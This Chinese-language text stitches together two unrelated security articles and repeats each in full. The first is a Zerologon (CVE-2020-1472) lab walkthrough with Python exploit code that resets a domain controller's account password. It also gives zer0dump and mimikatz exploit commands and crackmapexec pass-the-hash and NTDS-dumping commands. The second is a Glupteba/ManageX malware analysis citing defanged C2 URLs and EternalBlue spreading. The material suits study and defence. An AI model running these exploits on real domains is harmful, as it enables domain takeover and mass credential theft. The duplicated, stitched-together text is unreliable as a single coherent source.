本文将从攻防角度对CVE-2020-1472进行一个简单的介绍，并对如何检测和修复ZeroLogon提出具体建议。

什么是ZeroLogon？

Netlogon远程协议（也称为MS-NRPC）是一个远程进程调用（RPC）接口，仅由连接到域的设备使用。 MS-NRPC包括身份验证方法和建立Netlogon安全通道的方法。这些更新强制指定的Netlogon客户端行为，以便在成员计算机和Active Directory (AD)域控制器(DC)之间使用带有Netlogon安全通道的安全RPC。

Zerologon漏洞也称为CVE-2020-1472，它影响MS-NRPC所使用的加密身份验证方案（AES-CFB8），该方案具有多种用途，但最广为人知的原因是更改计算机帐户密码的能力，这可能导致Windows被攻击。该漏洞影响重大，风险评分达10.0满分。微软已在8月Patch Tuesday安全更新中将之修复。美国国土安全部上周也发布今年第4次紧急指令（Emergency Directive），要求所有政府机构应在周一午夜前修复好该漏洞。

AES-CFB8的工作原理是，通过在明文前面添加一个16字节的初始化矢量（IV），然后将AES应用于IV和明文的前16个字节，并采用AES输出的第一个字节，来加密明文的每个字节，然后将其与下一个纯文本字节进行异或。

为什么这很重要？利用身份验证协议的方法是强行登录尝试。对于256个密钥中的1个，对全零的纯文本应用AESCFB8加密将导致全零的密文，从而启用登录绕过，这就是名称zerologon的来源。

攻击者的天堂

大多数PoC都将重点放在利用更改计算机帐户活动目录密码并利用它们建立资产立足点的能力上。利用它们来攻击域控制器，就像它们通常在域控制器AD组中一样，其权限通常高于标准权限，这可以启用具有较高权限的立足点并导致域管理员权限。

使用NetrServerPasswordSet2方法，可以为客户端创建一个新密码，该密码可以使用AES-CFB8用会话密钥进行加密。 Netlogon纯文本密码由516个字节组成，后四个表示密码长度。通过提供516个零，它将被解密为516个零或一个空密码。以这种方式更改密码只能在AD中进行更新。

大部分漏洞利用代码的工作原理是，向netlogon通道发送带有多个空字节的身份验证请求，然后发送一个零的密码文本和用于身份验证的质询标志，如以下代码段所示：

server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )

如上所述，该攻击每256次尝试中就有1次起作用，因此至少需要256次身份验证尝试才能获得成功的利用条款，我见过的所有利用代码都将2000作为最大尝试，以确保0.04％的假阴性利用情况。下面的另一个代码片段显示了用于尝试对目标主机进行身份验证的for循环：

for attempt in range(0, MAX_ATTEMPTS):
    rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer)
    if rpc_con == None:
        print('=', end='', flush=True)
    else:
        break
  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
    plaintext = b'\x00' * 8
    sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None)
    ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
    clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
    print()
    blah = nrpc.hNetrServerPasswordSet2(
        rpc_con, dc_handle + '\x00',
        target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
        target_computer + '\x00',
        update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516
    )
    blah.dump()

但是，如果身份验证成功，则目标系统将以错误代码0进行响应，并导致计算机帐户的密码更改为空字符串。

在实验室环境中进行攻击测试

重要提示：在实时生产系统上执行这种攻击将中断域复制，通过代理中断域控制器，因此只能在你控制或能够回滚的实验室环境中执行。

现在谈论漏洞的工作原理很有必要，但是同样有趣的是它在环境中的工作方式。我的测试实验室环境由多种配置的Windows设备组成的：

域控制器

工作站

如果你有兴趣建立自己的实验环境，那么你实际上只需要一台域控制器和一台攻击设备，具体过程，请在此处点击查看。另外，还有一份建立家庭实验室的指南。
使用包括impacket在内的各种python脚本进行攻击需要满足一些先决条件，步骤如下：
1.下拉impacket并安装git clone 
2.cd impacket和＆python3 -m pip install

安装Impacket

接下来，下载该漏洞利用程序的副本，那里有多个PoC用于测试，包括具有zerologon模块的最新版mimikatz。我将分别演示PoC和mimikatz，首先介绍zer0dump:：
1.git clone ；
2.cd zer0dump && sudo pip install -r requirements.txt。

安装要求

脚本选项

利用这个工具来防御一个域控制器非常简单：
python3 zer0dump.py 10.10.100.38，其中10.10.100.38是域控制器的IP地址。该脚本将执行几次登录尝试，如果攻击成功，则将返回一个管理员哈希，该哈希可以通过哈希攻击或被破解和利用！

漏洞利用
该漏洞利用程序将域中的NTDS.dit（保留了该域上所有用户的所有NTLM哈希值）转储到/tmp/dumped.tmp.ntds，并利用秘密转储来转出本地管理员密码，如上所示。此外，由于返回的错误代码为零，因此我们可以看到漏洞利用成功。管理员的哈希值已设置为空字符串，我们可以通过将哈希值传递给 john the ripper（John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。）来确认这一点：

可以通过使用诸如crackmapexec之类的工具传递哈希攻击来对网络上的其他计算机进行身份验证来进一步利用这一点。
cme smb 10.10.100.1/24 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Crackmap Exec被喷涂

由于我们是管理员，因此可以对此进行更多的武器化处理，并转储所有NTDS.dit以便稍后进行攻击：
cme smb 10.10.100.29 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --ntds

python脚本非常酷，但是mimikatz呢？ Mimikatz可以加载到内存中或以多种方式运行，为了方便介绍，我将在实验室内的Windows计算机上运行它，你可以从GitHub获取源代码。
构建完成后，可以通过在终端窗口或资源管理器窗口中启动exe来运行它：

mimikatz 2.2.0 x64

通过mimikatz执行zerologon攻击所需的命令如下：
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$
这将引导mimikatz定位到DC2.purplehaze.defense，尤其是设备帐户DC2$。

主机容易受到攻击

如上图所示，主机确实很容易受到攻击，现在要利用该命令并附加/ exploit：
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$ /exploit

利用成功

就这么简单，是不是太可怕了。不过Mimikatz和zer0dump也不是唯一的版本，github上现在有大量的PoC！

Github PoC

现在，我们已经可以更改设备的密码了？

本文我们介绍了攻击原理，下一章我们将详细介绍可以发起的攻击种类。

本文将从攻防角度对CVE-2020-1472进行一个简单的介绍，并对如何检测和修复ZeroLogon提出具体建议。

什么是ZeroLogon？

Netlogon远程协议（也称为MS-NRPC）是一个远程进程调用（RPC）接口，仅由连接到域的设备使用。 MS-NRPC包括身份验证方法和建立Netlogon安全通道的方法。这些更新强制指定的Netlogon客户端行为，以便在成员计算机和Active Directory (AD)域控制器(DC)之间使用带有Netlogon安全通道的安全RPC。

Zerologon漏洞也称为CVE-2020-1472，它影响MS-NRPC所使用的加密身份验证方案（AES-CFB8），该方案具有多种用途，但最广为人知的原因是更改计算机帐户密码的能力，这可能导致Windows被攻击。该漏洞影响重大，风险评分达10.0满分。微软已在8月Patch Tuesday安全更新中将之修复。美国国土安全部上周也发布今年第4次紧急指令（Emergency Directive），要求所有政府机构应在周一午夜前修复好该漏洞。

AES-CFB8的工作原理是，通过在明文前面添加一个16字节的初始化矢量（IV），然后将AES应用于IV和明文的前16个字节，并采用AES输出的第一个字节，来加密明文的每个字节，然后将其与下一个纯文本字节进行异或。

为什么这很重要？利用身份验证协议的方法是强行登录尝试。对于256个密钥中的1个，对全零的纯文本应用AESCFB8加密将导致全零的密文，从而启用登录绕过，这就是名称zerologon的来源。

攻击者的天堂

大多数PoC都将重点放在利用更改计算机帐户活动目录密码并利用它们建立资产立足点的能力上。利用它们来攻击域控制器，就像它们通常在域控制器AD组中一样，其权限通常高于标准权限，这可以启用具有较高权限的立足点并导致域管理员权限。

使用NetrServerPasswordSet2方法，可以为客户端创建一个新密码，该密码可以使用AES-CFB8用会话密钥进行加密。 Netlogon纯文本密码由516个字节组成，后四个表示密码长度。通过提供516个零，它将被解密为516个零或一个空密码。以这种方式更改密码只能在AD中进行更新。

大部分漏洞利用代码的工作原理是，向netlogon通道发送带有多个空字节的身份验证请求，然后发送一个零的密码文本和用于身份验证的质询标志，如以下代码段所示：

server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )

如上所述，该攻击每256次尝试中就有1次起作用，因此至少需要256次身份验证尝试才能获得成功的利用条款，我见过的所有利用代码都将2000作为最大尝试，以确保0.04％的假阴性利用情况。下面的另一个代码片段显示了用于尝试对目标主机进行身份验证的for循环：

for attempt in range(0, MAX_ATTEMPTS):
    rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer)
    if rpc_con == None:
        print('=', end='', flush=True)
    else:
        break
  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
    plaintext = b'\x00' * 8
    sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None)
    ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
    clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
    print()
    blah = nrpc.hNetrServerPasswordSet2(
        rpc_con, dc_handle + '\x00',
        target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
        target_computer + '\x00',
        update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516
    )
    blah.dump()

但是，如果身份验证成功，则目标系统将以错误代码0进行响应，并导致计算机帐户的密码更改为空字符串。

在实验室环境中进行攻击测试

重要提示：在实时生产系统上执行这种攻击将中断域复制，通过代理中断域控制器，因此只能在你控制或能够回滚的实验室环境中执行。

现在谈论漏洞的工作原理很有必要，但是同样有趣的是它在环境中的工作方式。我的测试实验室环境由多种配置的Windows设备组成的：

域控制器

工作站

如果你有兴趣建立自己的实验环境，那么你实际上只需要一台域控制器和一台攻击设备，具体过程，请在此处点击查看。另外，还有一份建立家庭实验室的指南。
使用包括impacket在内的各种python脚本进行攻击需要满足一些先决条件，步骤如下：
1.下拉impacket并安装git clone 
2.cd impacket和＆python3 -m pip install

安装Impacket

接下来，下载该漏洞利用程序的副本，那里有多个PoC用于测试，包括具有zerologon模块的最新版mimikatz。我将分别演示PoC和mimikatz，首先介绍zer0dump:：
1.git clone ；
2.cd zer0dump && sudo pip install -r requirements.txt。

安装要求

脚本选项

利用这个工具来防御一个域控制器非常简单：
python3 zer0dump.py 10.10.100.38，其中10.10.100.38是域控制器的IP地址。该脚本将执行几次登录尝试，如果攻击成功，则将返回一个管理员哈希，该哈希可以通过哈希攻击或被破解和利用！

漏洞利用
该漏洞利用程序将域中的NTDS.dit（保留了该域上所有用户的所有NTLM哈希值）转储到/tmp/dumped.tmp.ntds，并利用秘密转储来转出本地管理员密码，如上所示。此外，由于返回的错误代码为零，因此我们可以看到漏洞利用成功。管理员的哈希值已设置为空字符串，我们可以通过将哈希值传递给 john the ripper（John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。）来确认这一点：

可以通过使用诸如crackmapexec之类的工具传递哈希攻击来对网络上的其他计算机进行身份验证来进一步利用这一点。
cme smb 10.10.100.1/24 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Crackmap Exec被喷涂

由于我们是管理员，因此可以对此进行更多的武器化处理，并转储所有NTDS.dit以便稍后进行攻击：
cme smb 10.10.100.29 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --ntds

python脚本非常酷，但是mimikatz呢？ Mimikatz可以加载到内存中或以多种方式运行，为了方便介绍，我将在实验室内的Windows计算机上运行它，你可以从GitHub获取源代码。
构建完成后，可以通过在终端窗口或资源管理器窗口中启动exe来运行它：

mimikatz 2.2.0 x64

通过mimikatz执行zerologon攻击所需的命令如下：
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$
这将引导mimikatz定位到DC2.purplehaze.defense，尤其是设备帐户DC2$。

主机容易受到攻击

如上图所示，主机确实很容易受到攻击，现在要利用该命令并附加/ exploit：
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$ /exploit

利用成功

就这么简单，是不是太可怕了。不过Mimikatz和zer0dump也不是唯一的版本，github上现在有大量的PoC！

Github PoC

现在，我们已经可以更改设备的密码了？

本文我们介绍了攻击原理，下一章我们将详细介绍可以发起的攻击种类。

研究人员近期发现一个Glupteba的变种。Glupteba是Operation Windigo 攻击活动中使用的木马，研究人员之前报告过其针对MikroTik 路由器的攻击以及C2 服务器的更新。

该变种的行为与其他Glupteba 变种有相似之处。此外，该变种还使用了模块化的广告恶意软件ManageX。

图 1. 攻击链

使用Go 语言

在解压了攻击中使用的主释放器后，研究人员发现该恶意软件变种是用Go 语言开发的。Go 语言只有10 年的历史，而且用它来开发恶意软件是比较少见的。恶意软件开发人员选择Go 语言的原因可能是该语言的特征使得开发的恶意软件可以在进入受害者系统时不被发现。其中一个特征是可以用1个库来编译但是在不同的操作系统上仍然可以执行。这对跨平台的恶意软件来说是非常重要和有优势的。

用Go 语言开发的恶意软件的文件大小都比较大。这是因为Go 语言的标准库并没有很好的模块化，因此导入单个函数就会引入大量的代码。这也可以帮助恶意软件绕过系统的检测，因为许多反病毒软件可能不能或不会扫描太大的文件。而且研究人员也很难对大文件进行静态分析。

释放器

Glupteba 攻击中的主释放器是通过安装rootkit 组件来实现驻留的，rootkit组件会注入恶意代码到svchost.exe 进程中。该进程会成为payload的下载器，因为Glupteba 将payload 看作模块，这也是一种隐藏恶意进程的方法，即将恶意进程伪装成正常的进程。

恶意软件的模块化的方法是通过释放组件到系统中来实现的，这也可以避免被反病毒软件检测到。

因为释放器使用了UPX 打包器打包，因此静态分析并没有发现太多东西。

图 2. 打包的样本

使用UPX 解压器后发现样本是用C++编译的。

图 3. 编译器

解压文件后表明样本是用Go 语言编写的。

图 4. Golang编译的样本代码

样本无法通过常见的工具来解压。必须在调试器中打开文件才可以看到其中的字符串。此外，一些恶意软件分析攻击严重依赖样本中可读的字符串来确定样本是否是恶意的。这也是为什么恶意软件作者使用打包器的另外一个原因。

图 5. 表明恶意广告payload的可疑字符串

样本中的字符串表明在不同的平台上使用了web浏览器。其中一个payload 中包含了恶意广告扩展的安装。此外，web浏览器的安装也不仅限于Windows 平台，还包含Linux平台、安卓平台和iOS 平台的web 浏览器。

图 6. 与DoublePulsar 工具使用相关的字符串

恶意软件代码中提到的DoublePulsar 是Shadow Brokers 泄露的一个后门植入工具。该工具可以确保其他恶意代码的执行，并且一般是通过EternalBlue 漏洞利用来进行传播。

图 7. 使用DoublePulsar 工具的shellcode 注入

扩展安装器payload

研究人员发现安装在一些机器上的payload 是一个安装的扩展，这些扩展通过执行wcrx.exe 来安装到系统中，wcrx.exe 是一个类似释放器的打包的文件。该文件会完成以下动作：

· 在机器上安装的web浏览器中添加名为chrome_filter 的浏览器扩展；

图 8. 安装的扩展

· 连接到hxxp://fffffk[.]xyz/down/m_inc[.]js?1589344811463 并替换来自浏览器扩展的m_inc.js 文件。这是对每个访问的页面都会执行的内容脚本。

图 9. JS 文件的URL

图 10.  m_inc.js的内容

· 开始rundll32.exe，然后查询hxxp://info[.]d3pk[.]com/js_json 来寻找 JSON 列表，其中包含要注入到IE 浏览器的脚本。

图 11. rundll32.exe 内存字符串

研究人员进一步分析发现，系统中的master_preferences 文件含有恶意文件的迹象，比如chrome AppID。 文件包含有用户想要应用到计算机Chrome 浏览器的设置。在该文件中安装Chrome 扩展是一种向 Chrome浏览器添加功能和特征的方式。

图 12. master_preferences 的内容

其中的内容是一个Chrome AppID，这也是ManageX chrome 扩展的IoC。ManageX使用一个Chrome 浏览器的扩展来追踪用户浏览器的活动并与C2 域名进行通信。

漏洞利用

攻击中的释放器还包括使用初始的机器作为跳板，然后扫描内网来寻找有漏洞的机器。然后启动EternalBlue 漏洞利用在网络中传播释放器。

EternalBlue 漏洞利用是Microsoft SMBv1 中的安全漏洞（CVE-2017-0143 到 CVE-2017-0148），广泛应用于Windows 7、Windows Server 2008、Windows XP以及部分Windows 10系统中。这些样本中的字符串表明了目标Windows系统的版本、端口、架构，与Microsoft SMBv1 使用的非常类似。但是目前Microsoft SMBv1 都是被禁用或卸载了的。

图 13. 未解压的样本中的字符串

图 14. 未解压的样本中的字符串

微软在2017年3月 就发布了这些漏洞的补丁，但是许多企业仍然没有进行修复。此外，还有许多恶意软件作者使用EternalBlue 漏洞利用进行加密货币挖矿等恶意活动。

研究人员近期发现一个Glupteba的变种。Glupteba是Operation Windigo 攻击活动中使用的木马，研究人员之前报告过其针对MikroTik 路由器的攻击以及C2 服务器的更新。

该变种的行为与其他Glupteba 变种有相似之处。此外，该变种还使用了模块化的广告恶意软件ManageX。

图 1. 攻击链

使用Go 语言

在解压了攻击中使用的主释放器后，研究人员发现该恶意软件变种是用Go 语言开发的。Go 语言只有10 年的历史，而且用它来开发恶意软件是比较少见的。恶意软件开发人员选择Go 语言的原因可能是该语言的特征使得开发的恶意软件可以在进入受害者系统时不被发现。其中一个特征是可以用1个库来编译但是在不同的操作系统上仍然可以执行。这对跨平台的恶意软件来说是非常重要和有优势的。

用Go 语言开发的恶意软件的文件大小都比较大。这是因为Go 语言的标准库并没有很好的模块化，因此导入单个函数就会引入大量的代码。这也可以帮助恶意软件绕过系统的检测，因为许多反病毒软件可能不能或不会扫描太大的文件。而且研究人员也很难对大文件进行静态分析。

释放器

Glupteba 攻击中的主释放器是通过安装rootkit 组件来实现驻留的，rootkit组件会注入恶意代码到svchost.exe 进程中。该进程会成为payload的下载器，因为Glupteba 将payload 看作模块，这也是一种隐藏恶意进程的方法，即将恶意进程伪装成正常的进程。

恶意软件的模块化的方法是通过释放组件到系统中来实现的，这也可以避免被反病毒软件检测到。

因为释放器使用了UPX 打包器打包，因此静态分析并没有发现太多东西。

图 2. 打包的样本

使用UPX 解压器后发现样本是用C++编译的。

图 3. 编译器

解压文件后表明样本是用Go 语言编写的。

图 4. Golang编译的样本代码

样本无法通过常见的工具来解压。必须在调试器中打开文件才可以看到其中的字符串。此外，一些恶意软件分析攻击严重依赖样本中可读的字符串来确定样本是否是恶意的。这也是为什么恶意软件作者使用打包器的另外一个原因。

图 5. 表明恶意广告payload的可疑字符串

样本中的字符串表明在不同的平台上使用了web浏览器。其中一个payload 中包含了恶意广告扩展的安装。此外，web浏览器的安装也不仅限于Windows 平台，还包含Linux平台、安卓平台和iOS 平台的web 浏览器。

图 6. 与DoublePulsar 工具使用相关的字符串

恶意软件代码中提到的DoublePulsar 是Shadow Brokers 泄露的一个后门植入工具。该工具可以确保其他恶意代码的执行，并且一般是通过EternalBlue 漏洞利用来进行传播。

图 7. 使用DoublePulsar 工具的shellcode 注入

扩展安装器payload

研究人员发现安装在一些机器上的payload 是一个安装的扩展，这些扩展通过执行wcrx.exe 来安装到系统中，wcrx.exe 是一个类似释放器的打包的文件。该文件会完成以下动作：

· 在机器上安装的web浏览器中添加名为chrome_filter 的浏览器扩展；

图 8. 安装的扩展

· 连接到hxxp://fffffk[.]xyz/down/m_inc[.]js?1589344811463 并替换来自浏览器扩展的m_inc.js 文件。这是对每个访问的页面都会执行的内容脚本。

图 9. JS 文件的URL

图 10.  m_inc.js的内容

· 开始rundll32.exe，然后查询hxxp://info[.]d3pk[.]com/js_json 来寻找 JSON 列表，其中包含要注入到IE 浏览器的脚本。

图 11. rundll32.exe 内存字符串

研究人员进一步分析发现，系统中的master_preferences 文件含有恶意文件的迹象，比如chrome AppID。 文件包含有用户想要应用到计算机Chrome 浏览器的设置。在该文件中安装Chrome 扩展是一种向 Chrome浏览器添加功能和特征的方式。

图 12. master_preferences 的内容

其中的内容是一个Chrome AppID，这也是ManageX chrome 扩展的IoC。ManageX使用一个Chrome 浏览器的扩展来追踪用户浏览器的活动并与C2 域名进行通信。

漏洞利用

攻击中的释放器还包括使用初始的机器作为跳板，然后扫描内网来寻找有漏洞的机器。然后启动EternalBlue 漏洞利用在网络中传播释放器。

EternalBlue 漏洞利用是Microsoft SMBv1 中的安全漏洞（CVE-2017-0143 到 CVE-2017-0148），广泛应用于Windows 7、Windows Server 2008、Windows XP以及部分Windows 10系统中。这些样本中的字符串表明了目标Windows系统的版本、端口、架构，与Microsoft SMBv1 使用的非常类似。但是目前Microsoft SMBv1 都是被禁用或卸载了的。

图 13. 未解压的样本中的字符串

图 14. 未解压的样本中的字符串

微软在2017年3月 就发布了这些漏洞的补丁，但是许多企业仍然没有进行修复。此外，还有许多恶意软件作者使用EternalBlue 漏洞利用进行加密货币挖矿等恶意活动。